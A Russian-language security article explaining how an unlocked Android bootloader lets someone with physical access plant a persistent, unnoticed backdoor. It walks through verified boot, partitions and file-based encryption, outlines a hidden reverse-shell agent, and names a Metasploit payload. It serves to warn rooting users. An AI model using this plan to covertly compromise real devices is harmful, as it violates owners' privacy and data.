Как root-права и альтернативные прошивки делают ваш android смартфон уязвимым
Если вы являетесь регулярным читателем Хабра, то должно быть заметили что за последние несколько лет вышло немало статей о сборе персональных данных с мобильных устройств, и о попытках противодействия этому, было несколько отличных статей с детальными инструкциями по превращению своего смартфона на базе ОС Android в настоящую цитадель приватности и безопасности.
Часто для этого рекомендуется получение прав суперпользователя в системе (root-права), удаление системных приложений от Google и от производителя устройства, или даже полная замена стандартной ОС на альтернативные сборки, чаще всего LineageOS (бывший CyanogenMod). При этом первым шагом в этом процессе всегда будет так называемая "разблокировка загрузчика". Во время её выполнения устройство несколько раз покажет нам страшные предупреждения о том, что теперь оно станет более уязвимо для злоумышленников, но мы смело нажимаем "подтвердить" и шьём root или самую свежую сборку кастомной прошивки, не задумываясь о том какие проблемы создаёт нам незаблокированный загрузчик.
Я хочу рассказать вам как погоня за приватностью и безопасностью может привести к бóльшим проблемам чем использование стоковых устройств, как при физическом доступе к устройству можно установить в android бэкдор который может пережить сброс до заводских настроек, как можно вытащить данные из зашифрованного устройства не зная пин-код, не входя в систему и без запущенного режима отладки в меню разработчика.
Вступление
Сразу в начале оговорюсь, что все упомянутые опасности будут касаться наших устройств только если у злоумышленника есть физический доступ к девайсу. Поэтому можно просуммировать необходимые начальные условия:
Физический доступ к смартфону. Нескольких минут будет достаточно.
Загрузчик на смартфоне уже находится в разблокированном состоянии. Это главное условие. Оно в 95% случаев справедливо для устройств, на которых получены root-права или установлены сторонние сборки ОС, на что и намекает название статьи, но вполне возможно что пользователь по каким-то странным причинам решил разблокировать загрузчик и без этого. Нам не принципиально, загрузчик разблокирован - можно атаковать, версия android не имеет значения, наличие или отсутствие рута также не имеет значения. Именно о возможностях, которые даёт атакующему с физическим доступом разблокированный загрузчик, и будет вся суть статьи.
Для устройства существует возможность организовать sideload. Например, для устройства есть TWRP или иной образ recovery дающий возможность перевести устройство в режим sideload. Для большинства популярных устройств, поддерживающих разблокировку загрузчика, существуют готовые образы TWRP.
Если задуматься, то ситуация с физическим доступом к смартфону не такая уж и невероятная. Например, последние годы набирает тенденция проверки мобильных устройств пограничниками при въезде в страну. Количество подобных проверок увеличивается в разы с каждым годом и вскоре может стать повсеместно распространённой практикой. С одной стороны это вопиющий произвол, нарушение законов и вторжение в частную жизнь, с другой стороны, законы большинства стран в этом моменте очень скользкие, плюс, например, на границе вы ещё не попали на территорию страны, поэтому и законы защищающие вашу частную жизнь ещё могут не действовать. В общем, "отжать мобилу" у вас смогут в подавляющем большинстве случаев. В журнале Хакер есть отличная статья обозревающая эту проблему. Если по каким-либо причинам вас задержит полиция, то все ваши электронные устройства также будут изъяты и, как и на границе, могут быть незаметно для вас пробэкдорены.
Постановка задачи
Итак, представим ситуацию, мы – злоумышленник, получивший на некоторое время в свои руки смартфон. Устройство – смартфон на базе android с разблокированным загрузчиком. Устройство имеет встроенное шифрование хранилища, его тип – аппаратный, т.е. ключи хранятся в TEE. Устройство заблокировано, для разблокировки необходимо ввести пин-код. Причём устройство находится в BFU (before-first-unlock) состоянии, это значит, что после включения устройства код разблокировки не вводился ни разу и файловая система зашифрована. На устройстве не включен режим отладки и подключиться по adb к нему невозможно. В нём содержатся данные, которые нам необходимо изъять. Устройство нужно будет вернуть владельцу, неповреждённое, в рабочем состоянии, причём владельцу не должно бросаться в глаза что его устройство было скомпрометировано.
Звучит как невыполнимая задача, и так бы оно и было, если бы нам любезно не открыл дверь сам владелец. Современные смартфоны очень хороши с точки зрения безопасности. Возможная поверхность атаки у них крайне мала. В последних версиях ОС android сделано очень многое для защиты данных пользователей. Защита системы выстроена в несколько уровней. Данные шифруются, подписи проверяются, ключи хранятся аппаратно. Везде используется подход "least privilege" – запрещено всё что не разрешено. Приложения работают в рамках серьёзных ограничений. Можно смело утверждать, что современные смартфоны являются одними из лучших примеров безопасных устройств, которые создавал человек.
Если пользователь не совершает явно странные действия вроде скачивания странных apk со странных ресурсов и не выдаёт им явно руками привилегий администратора устройства, то навредить пользователю или украсть его данные довольно затруднительно. И даже эти проблемы являются скорее не дырами в безопасности системы, а следствием свободы, которую android предоставляет пользователям, однако не все распоряжаются ей правильно. Прошли времена, когда безопасность android была поводом для шуток. На сайте известного брокера эксплоитов, компании Zerodium, FCP - full-chain with persistence или полная цепочка удалённой эксплуатации устройства с закреплением в системе в настоящий момент является самым дорогим эксплоитом, за который компания готова выложить до двух с половиной миллионов долларов.
Разблокированный загрузчик роняет уровень сложности этой задачи от невозможного до тривиального. Почему-то тема опасности открытых загрузчиков поднимается довольно редко, и, мне кажется, её значимость здорово недооценена, поэтому давайте разбираться.
Код с примером будет приведён довольно упрощённый и не в самом изощрённом варианте, но рабочий и явно демонстрирующий то, как именно это работает.
Все действия я проводил на устройствах на OnePlus 5T (он же dumpling по принятой в android device tree классификации) на стоковой OxygenOS и LineageOS с версиями соответствующими android 9 и 10, и XiaomiMI6 (он же sagit). Из-за этого некоторые нюансы структуры разделов, и выводы некоторых команд у вас могут отличаться, но общая суть происходящего не изменится.
Я буду часто ссылаться на ресурс source.android.com. Это примерно тоже самое что и developer.android.com но не для разработчиков приложений, а для разработчиков устройств. Там хорошо описана работа ОС, системных компонентов, и т.д. Очень рекомендую, вряд ли где-то можно найти более структурированную информацию по устройству системы.
Что же плохого происходит когда загрузчик разблокируется?
Если вкратце - отключаются механизмы защиты Android Verified Boot (далее avb) и Device Mapper Verity (далее dm-verity). Для того, чтобы понять серьёзность последствий нам необходимо рассмотреть процесс инициализации и загрузки системы. Поскольку android это linux, то многие происходящие вещи будут очень похожи на процесс загрузки других дистрибутивов, но с некоторой спецификой. Нас для темы статьи будет интересовать в основном только часть загрузки до запуска первого userspace процесса, собственно, как раз - init.
Загрузка системы начинается с загрузчика. Загрузчик – это небольшой бинарный компонент, который запускается непосредственно чипсетом и отвечает за загрузку и запуск ядра. Если в настольных дистрибутивах linux мы привыкли в основном к загрузчику grub, то на android смартфонах у нас загрузчиком является aboot. Процесс загрузки происходит следующим образом:
На плату устройства подаётся питание
Выполняется первичный загрузчик (primary bootloader, PBL). Он хранится в ПЗУ чипа. Он производит инициализацию памяти некоторого минимального набора для работы с железом, например с физическими кнопками устройства и партициями.
Далее происходит инициализация и запуск вторичных нагрузок (secondary bootloader, SBL). Именно на этом этапе инициализируется и запускается Trusted Execution Environment (далее TEE) ARM TrustZone - та часть arm чипа которая отвечает за критические вещи связанные с безопасностью устройства. В ней работает целая отдельная операционная система, чаще всего - Trusty, её также как и android производит google. В TEE хранятся ключи, и TEE умеет производить с материалом этих ключей операции над данными которые ему может прислать основная ОС. Именно с TEE через уровень абстракции железа (hardware abstraction layer, далее HAL) взаимодействует AndroidKeystore который часто используется разработчиками для различных операций связанных с криптографией и обеспечением безопасности данных. Также здесь хранятся важные ключи, например ключи необходимые для расчёта MAC для операций записи в специальный защищённый от несанкционированной перезаписи блок памяти (replay protected memory block, далее RPMB) и, что особенно интересно для нас, ключи для проверки подписи файловых систем на этапе AVB. TEE запускается до запуска основной ОС, потому что ей необходимо ограничить себя от прямого взаимодействия с основной ОС и исключить возможность модификации с её стороны, а также потому что собственно она хранит ключи необходимые для проверки целостности системы до её старта.
Далее исполняется aboot. Он собирает информацию для того, чтобы понять что и как именно нужно запустить. На этом этапе он смотрит на флаги записанные в специальной памяти, на зажатые физические кнопки, и принимает решение в каком режиме продолжить загрузку системы: в штатном режиме, в режиме восстановления (recovery), в режиме прошивки (fastboot). Загрузчик может также загружать другие специальные режимы, которые зависят от конкретного чипа или устройства, например EDL на чипах Qualcomm который используется для экстренного восстановления устройства путём загрузки прошивки образа подписанного ключами Qualcomm публичная часть которых зашита внутрь чипа. Мы будем рассматривать штатный процесс загрузки.
Некоторые устройства используют механизм seamless updates, его также называют A/B partitions. В этом случае загрузчик обязан выбрать правильный текущий слот для загрузки. Суть этого механизма в том что некоторые разделы представлены в двух экземплярах, например вместо обычного /system на устройстве будут /system_a и /system_b, вместо /vendor - /vendor_a и vendor_b. Цель этого - более быстрые и защищённые от окирпичивания устройства обновления системы, т.е. например вы загружены в систему используя слот A, вы собираетесь обновить устройство, выбираете соответсвующий пункт в настройках и продолжаете спокойно работать с системой. Пакет обновления скачивается, но вместо перезагрузки в специальный режим обновления и ожидания прошивки, оно сразу шьётся, но не на запущенную систему (это и не получится сделать) а в разделы второго слота B: /system_b, /vendor_b и, если необходимо, в другие. После прошивки система отмечает флаги что следующая загрузка системы должна быть штатной и должна использовать слот B и предлагает перезагрузиться. Вы перезагружаете устройство, загрузчик выбирает слот B и продолжает загрузку, всего через несколько секунд ожидания ваша новая ОС загружена, отмечаются флаги что загрузка прошла успешно, текущий образ системы работает, с ним всё хорошо, а значит можно продублировать текущую систему во второй слот. В случае если загрузка не закончится успехом, то система не поставит флаги об успехе и загрузчик поймёт что новая система не работает, нужно загрузиться в старый слот, повреждённое обновление на него не накачено и вы продолжите работать с устройством как ни в чём не бывало.
Продолжается штатная загрузка. Загрузчик ищет в подключённых устройствах раздел /boot. Этот раздел содержит две необходимые для запуска системы составляющие: ядро ОС - kernel, и начальный образ файловой системы - initramfs (в android он практически везде называется ramdisk и я далее буду называть его именно так). Вот здесь начинают работать механизмы защиты ОС от модификации или наоборот, их работа отключается в том случае если наш загрузчик был разблокирован. При загрузке считается хэш сумма данных содержащихся в /boot разделе и сравнивается с эталонным хэшом который рассчитан и подписан приватным ключом производителя устройства в момент сборки системы, эта подпись должна быть успешно верифицирована AVB ключом хранящимся в TEE. В случае разблокированного загрузчика этой проверки не производится, т.е. система будет запускать любые ядро и ramdisk, даже если они не подписаны производителем устройства.
Механизмы защиты продолжают работу. Далее проверяется что целостность загружаемого раздела с системой также не нарушена. Ramdisk хранит публичный ключ verity_key, приватной частью которого подписан корневой хэш в таблице dm-verity хешей для системного раздела. Осуществляется проверка подписи после чего происходит переход к загрузке системы. Если загрузчик нашего устройства разблокирован, то эта проверка также пропускается.
Весь этот процесс называется boot flow и отлично проиллюстрирован здесь:
У загрузки с avb может быть 4 конечных состояния, условно обозначаемых цветами:
green state - загрузчик заблокирован, используется embedded root of trust, т.е. публичный ключ avb поставляется в аппаратном TEE. Целостность ядра и системы не нарушена. Никаких сообщений пользователю не показывается. Система загружается. Так происходит всегда когда мы пользуемся обычным, не модифицированным устройством.
yellow state - загрузчик заблокирован, но вместо аппаратно хранимого ключа от производителя устройства используется user-settable root of trust, т.е. ключи avb генерируются и используются на этапе сборки системы а затем публичный ключ зашивается в специальный раздел вместе с прошивкой системы. Целостность ядра и системы не нарушена. Пользователю на 10 секунд показывается большой желтый предупреждающий знак и сообщается что устройство загружает стороннюю операционную систему. После этого система загружается.
orange state - загрузчик разблокирован, root of trust игнорируется. Целостность ядра и системы не проверяется. Пользователю на 10 секунд показывается большой оранжевый предупреждающий знак и сообщается что целостность разделов устройства не проверяется, и система может быть модифицирована. После этого система загружается. Так происходит на устройствах с установленными root-правами или альтернативной сборкой ОС, именно этот случай нас интересует.
red state - загрузчик заблокирован, используется любой root of trust, целостность системы нарушена при заблокированном загрузчике, либо система повреждена (что для dm-verity в общем-то одно и тоже, как описано в документации). Пользователю показывается сообщение о том, что система повреждена. Система не загружается.
Задача механизмов avb и dm-verity убедиться в том, что загружаемые ядро и система не были изменены и дошли до устройства пользователя в таком виде в каком их выпустил производитель устройства. Если пользователь решил установить root-права или альтернативную сборку ОС, то он неминуемо нарушит хэши партиций и чтобы система могла продолжить работу а не уходила сразу в "красное состояние" в котором откажется загружаться, ему придётся разблокировать загрузчик и с точки зрения avb перевести устройство в "оранжевое состояние" где android будет закрывать глаза на модификации системы. Этим пользуются и инструменты для получения root, и сторонние сборки, этим могут воспользоваться и злоумышленники, этим воспользуемся и мы.
Логическим следствием перехода в "оранжевое состояние" и отключения avb является возможность загружать образы с ядром не подписанные производителем устройства. Среди любителей модифицировать android самым популярным проектом такого рода является "Team Win Recovery Project" или просто TWRP. TWRP позволяет делать с устройством практически всё, в частности монтировать и модифицировать любые разделы не загружаясь в саму систему непосредственно. Именно эта возможность нам будет нужна для нашей задачи, но для начала надо разобраться с тем, как именно данные пользователя хранятся на устройстве.
Как устроено хранилище
Если мы посмотрим на структуру разделов на хранилище смартфона, то увидим что их на устройстве довольно много.
# ls -la /dev/block/by-name
total 0
drwxr-xr-x 2 root root 1480 1973-02-10 03:40 .
drwxr-xr-x 4 root root 2160 1973-02-10 03:40 ..
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 LOGO -> /dev/block/sde18
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 abl -> /dev/block/sde16
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 ablbak -> /dev/block/sde17
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 apdp -> /dev/block/sde31
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 bluetooth -> /dev/block/sde24
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 boot -> /dev/block/sde19
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 boot_aging -> /dev/block/sde20
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 cache -> /dev/block/sda3
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 cdt -> /dev/block/sdd2
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 cmnlib -> /dev/block/sde27
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 cmnlib64 -> /dev/block/sde29
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 cmnlib64bak -> /dev/block/sde30
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 cmnlibbak -> /dev/block/sde28
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 config -> /dev/block/sda12
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 ddr -> /dev/block/sdd3
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 devcfg -> /dev/block/sde39
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 devinfo -> /dev/block/sde23
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 dip -> /dev/block/sde14
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 dpo -> /dev/block/sde33
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 dsp -> /dev/block/sde11
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 frp -> /dev/block/sda6
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 fsc -> /dev/block/sdf4
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 fsg -> /dev/block/sdf3
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 fw_4g9n4 -> /dev/block/sde45
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 fw_4j1ed -> /dev/block/sde43
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 fw_4t0n8 -> /dev/block/sde46
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 fw_8v1ee -> /dev/block/sde44
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 hyp -> /dev/block/sde5
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 hypbak -> /dev/block/sde6
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 keymaster -> /dev/block/sde25
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 keymasterbak -> /dev/block/sde26
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 keystore -> /dev/block/sda5
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 limits -> /dev/block/sde35
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 logdump -> /dev/block/sde40
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 logfs -> /dev/block/sde37
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 md5 -> /dev/block/sdf5
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 mdtp -> /dev/block/sde15
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 mdtpsecapp -> /dev/block/sde12
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 mdtpsecappbak -> /dev/block/sde13
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 minidump -> /dev/block/sde47
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 misc -> /dev/block/sda4
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 modem -> /dev/block/sde10
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 modemst1 -> /dev/block/sdf1
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 modemst2 -> /dev/block/sdf2
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 msadp -> /dev/block/sde32
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 oem_dycnvbk -> /dev/block/sda7
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 oem_stanvbk -> /dev/block/sda8
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 param -> /dev/block/sda9
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 persist -> /dev/block/sda2
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 pmic -> /dev/block/sde8
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 pmicbak -> /dev/block/sde9
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 recovery -> /dev/block/sde22
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 reserve -> /dev/block/sdd1
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 reserve1 -> /dev/block/sda10
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 reserve2 -> /dev/block/sda11
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 reserve3 -> /dev/block/sdf7
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 rpm -> /dev/block/sde1
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 rpmbak -> /dev/block/sde2
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 sec -> /dev/block/sde7
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 splash -> /dev/block/sde34
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 ssd -> /dev/block/sda1
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 sti -> /dev/block/sde38
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 storsec -> /dev/block/sde41
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 storsecbak -> /dev/block/sde42
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 system -> /dev/block/sde21
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 toolsfv -> /dev/block/sde36
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 tz -> /dev/block/sde3
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 tzbak -> /dev/block/sde4
lrwxrwxrwx 1 root root 16 1973-02-10 03:40 userdata -> /dev/block/sda13
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 vendor -> /dev/block/sdf6
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 xbl -> /dev/block/sdb1
lrwxrwxrwx 1 root root 15 1973-02-10 03:40 xblbak -> /dev/block/sdc1
Большинство из них небольшие, и содержат, например, логотип производителя девайса, который отображается сразу после подачи питания на плату устройства. Есть раздел содержащий прошивку, работающую на baseband процессоре и отвечающую за мобильную связь, звонки и интернет по стандартам 2G, 3G, LTE и т.д. Есть разделы содержащие BLOBы необходимые для работы с некоторыми устройствами. Нас будет интересовать всего несколько разделов, содержание которых монтируется в файловую систему и напрямую используется во время работы ОС:
Раздел boot содержит ядро операционной системы.
Раздел system содержит саму операционную систему, все её исполняемые файлы, неизменяемые конфиги, системные библиотеки, android-фреймворк и другие jar файлы необходимые для работы виртуальной машины, в которой исполняются android приложения. Начиная с android 10 на многих устройствах вместо обычного system раздела используется раздел system-as-root, он отличается точкой монтирования, но его суть та же – он содержит файлы ОС.
Раздел vendor содержит проприетарные компоненты ОС от производителя устройства. Например, драйвера Qualcomm и т д
Раздел userdata содержит данные касающиеся текущего экземпляра установленной операционной системы. Его мы рассмотрим подробнее.
Данные текущей установленной ОС включают, например, текущие ключи adb, установленные в системе текущие настройки, изменяемые конфиги и т.д. В userdata располагаются внутренние директории приложений, которые принято называть песочницами или "internal storage" установленных приложений, а также общее файловое хранилище, в котором лежат фото, видео, музыка, документы, загрузки пользователя и остальную его информацию. Именно его мы можем увидеть в системном приложении "Файлы". Общее файловое хранилище с точки зрения установленных приложений является "externalstorage".
Данные приложений, "internal storage", находятся по пути /data/data. В этой директории сложены директории-песочницы отдельных приложений, соответствующие их полным именам пакетов. Например:
drwx------ 8 u0_a69 u0_a69 4096 2021-01-29 13:31 com.google.android.youtube
Как вы можете видеть, владельцем директории является u0_a69. При установке пакетов android присваивает каждому приложению отдельного системного пользователя и группу и создаёт им домашнюю директорию в /data/data, по аналогии с /home/user в настольных дистрибутивах linux. Номера uid начинаются с 10000, номера до 10000 зарезервированы и используются системными приложениями и сервисами. В названии u0 означает – первый пользователь (обычно он всегда первый и единственный, за исключением редких случаев, когда устройство поддерживает многопользовательский режим), a69 – просто номер приложения. Эта директория хранит файлы, кэш, базы данных, shared preferences приложений и т.д. Доступ в директорию возможен только приложению владельцу. Даже системные приложения поставляемые с устройством (пользователь system:system, uid=1000, gid=1000) и adb shell (пользователь shell:shell, uid=2000, gid=2000) не могут получить доступ к файлам других приложений.
Общее хранилище, "external storage", находится по пути /data/media/0, внешние SD-карты соответственно будут называться /data/media/1. Во время работы оно линкуется в /storage.
Если мы являемся обычным непривилегированным приложением, то всё что нам доступно для записи – своя песочница, и, если получено разрешение WRITEEXTERNAL_STORAGE, общее хранилище. Вся остальная часть раздела userdata нам недоступна, однако ей пользуется сама операционная система, храня там, например dalvik-кэши.
Система специально спроектирована таким образом, что во время работы с устройством единственный раздел, состояние которого изменяется, это userdata. Во время штатной работы с устройством в промежутке между обновлениями системы, состояние разделов boot, system и vendor остаётся неизменным. Boot обычно не виден нам в ФС напрямую, содержание system и vendor монтируется в режиме "read-only", потому что в них ничто никогда не должно быть перезаписано. Именно поэтому avb может так удобно проверять целостность системы. Разделы boot, system и vendor могут перезаписываться только когда производитель устройства присылает обновление, а вместе с обновлением и новые подписи разделов для dm-verity, поэтому verified boot не нарушается. Попытка перезаписать любой из этих разделов без обновления подписей приведёт к блокировке работы устройства или даже к превращению устройства в кирпич, восстановить который можно будет только через замыкание test-point-ов на плате или через различные специальные режимы, которые у каждого производителя устройства свои, например у Qualcomm это EDL.
Изначально, раздел userdata пуст. Когда устройство запускается, оно смотрит на его содержание, и если там ничего нет, то система понимает что она запускается первый раз, а значит необходимо провести действия связанные с первым запуском – распаковать и установить системные приложения из read-only директорий /system/app и /system/priv-app, назначить им системных пользователей, создать им директории песочницы, скопировать и применить некоторые настройки по умолчанию, подготовить лаунчер, показать пользователю приветственное сообщение и провести онбординг. Из-за этого первый запуск устройства после покупки происходит значительно дольше чем обычно. В случае если раздел userdata уже наполнен, то этот шаг пропускается и система загружается за несколько секунд.
Сброс до заводских настроек, как вы уже могли догадаться, это просто форматирование раздела userdata, после которого устройство снова будет отрабатывать ровно тем же образом что и при запуске в самый первый раз. Ни один из других разделов при этом не модифицируется.
Как устроено шифрование хранилища
Для начала разберёмся как устроено шифрование хранилища, потому что это самое труднопреодолимое препятствие для изъятия данных. Шифрование применяется на уровне файловой системы. Существует два основных подхода к организации шифрования:
FDE – full-device-encryption – полнодисковое шифрование. Это значит что всё устройство хранения зашифровано, и даже загрузка операционной системы невозможна до его расшифровки. Поэтому в этом случае владельцу устройства для работы с ним сначала, ещё до загрузки операционной системы, необходимо ввести ключ с помощью которого хранилище будет расшифровано и только потом произойдёт загрузка системы. Такой подход требовал "двойной" загрузки системы, сначала в минимальном варианте для показа формы ввода пароля, а потом в полноценном, после расшифровки хранилища. Он применялся на некоторых устройствах с версиями android 5-7, однако на современной версии ОС и современных устройствах не используется
FBE – file-based-encryption – шифрование отдельных частей файловой системы. Применительно к android зашифрованы только те части системы, где хранятся данные пользователя. Незашифрованным остаются ядро, системный раздел, и т.д. Строго говоря, проще перечислить то, что зашифровано, а зашифрованы только /data/data и /data/media. Все остальные части системы остаются незашифрованными. Это позволяет операционной системе успешно загружаться до экрана авторизации пользователя, стартовать системные сервисы и accessibility сервисы, принимать SMS. Начиная с android 7 и переходом на FBE появилось Directboot API, которое даёт приложениям возможность запускаться и в ограниченном режиме работать до ввода кода разблокировки и расшифровки файловой системы. FBE позволяет сочетать высокие стандарты защиты данных в хранилище и отличный пользовательский опыт. Пользователь не отвлекается на ввод дополнительного пароля до запуска системы, система не тратит ресурсы на шифрование и расшифровку частей файловой системы где не содержится личных данных владельца. Это современный подход, который используется на современных устройствах и является обязательным для всех новых устройств, начиная с android 9.
Первый ввод кода разблокировки очень важен, потому что именно в этот момент происходит фактическая расшифровка оставшихся частей раздела userdata. Система получает возможность завершить загрузку и запустить лаунчер. После этого ключи шифрования к файловой системе будут храниться в памяти и не покинут её до выключения питания. Из-за этого среди специалистов занимающихся извлечением данных из устройств принято выделять два состояния устройства:
BFU (before first unlock) – до первого ввода кода разблокировки
AFU (after first unlock) – после первого ввода кода разблокировки
До первого ввода кода разблокировки данные пользователя всегда зашифрованы, после первого ввода – всегда расшифрованы. Даже когда пользователь в дальнейшем нажимает кнопку питания или система сама уходит в сон, то данные, с точки зрения ОС, больше не переходят в зашифрованное состояние, теперь их защищает только экран блокировки. В android пока не предусмотрен механизм очищения ключей для расшифровки файловой системы из памяти после определённого периода неактивности.
Это значит, что если после того, как устройство было разблокировано хотя бы однажды подключиться к нему, например по adb, то пользовательские данные будут доступны и можно получить к ним доступ даже если экран заблокирован.
Вот так выглядит общее хранилище до первого ввода кода разблокировки:
# ls -la /data/media/0/
total 100
drwxrwx--- 13 media_rw media_rw 4096 2021-01-29 10:45 .
drwxrwx--- 4 media_rw media_rw 4096 2021-01-29 10:43 ..
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 3aIg6706qnt+JRerXQc,9B
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 5RxSnwRfzXH5JsgykyuneB
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 9QCg2626EAEHNRc,IpjzjC
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 XLrhnulSzxYVPwgkHhs8YC
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:45 ZC6kM5uXi6,coHL+OYgLCB
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 kJJ0DN8Tmhcs7hicwcEZ3A
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 mPaCm6PJHF9,MyimVTRozC
drwxrwxr-x 3 media_rw media_rw 4096 2021-01-29 10:43 qIkgta78EOvsfnjupFXQ+C
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 uAP,C13tjXpxdP8PWVeMRD
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 v33cOjp,wu+hlgBIWnQdjB
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 xxjD9tk7bDh9XZUzoDwMbB
А вот так после:
# ls -la /data/media/0/
total 100
drwxrwx--- 13 media_rw media_rw 4096 2021-01-29 10:45 .
drwxrwx--- 4 media_rw media_rw 4096 2021-01-29 10:43 ..
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Alarms
drwxrwxr-x 3 media_rw media_rw 4096 2021-01-29 10:43 Android
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 DCIM
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Download
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Movies
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Music
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Notifications
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Pictures
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Podcasts
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:43 Ringtones
drwxrwxr-x 2 media_rw media_rw 4096 2021-01-29 10:45 bluetooth
На самом деле, шифрование хранилища – самая трудно преодолимая часть нашей задачи по извлечению данных. Обойти шифрование с ключами в аппаратном ТЕЕ никак не представляется возможным, но зато из этой информации следует несколько полезных выводов, а наша задача начинает формироваться в конкретные технические требования.
Во-первых, получать доступ к личным файлам пользователя в любом случае придётся только после ввода кода разблокировки.
Во-вторых, разблокированный загрузчик даёт возможность переписывать системный раздел, а он никогда не зашифрован, даже в BFU состоянии.
Это подводит нас к мысли о том, что можно воспользоваться возможностью модифицировать никогда не шифруемую часть системы, внедрить в неё агента, который никак не затронет и не испортит зашифрованные данные, а в последствие даст нам доступ к ней после того как устройство будет возвращено пользователю и он сам первый раз введёт код разблокировки. Поскольку пользователь явно не будет вводить код разблокировки подключив устройство к нашему usb кабелю или находясь в нашей локальной сети, то использование adb нам не подходит и необходимо организовать удалённый доступ в формате reverse-shell.
Получение удалённого доступа
Для android существует популярная полезная нагрузка в Metasploit фреймворке которая теоретически может дать нам удалённый доступ к устройству – android/meterpreter/reverse_tcp, однако с ней есть проблемы:
Она поставляется в виде обычного приложения. Мы технически не можем установить в android приложение в зашифрованное хранилище, плюс даже если бы могли, это явный шанс скомпрометировать себя, т.к. приложение будет видно в лаунчере и в списке установленных приложений в настройках, а если на устройстве пользователя установлено одно из антивирусных решений, то оно может задетектить его как вирус по публично доступным признакам. Мы можем пересобрать его изменив сигнатуры или даже внедрить в какое-нибудь другое приложение, но сути это не поменяет.
Она была рассчитана на более старые версии android и часть её функций может не работать на современных версиях системы. Некоторые её возможности требуют подтверждения руками системных диалогов с разрешениями, некоторые просто не заведутся.
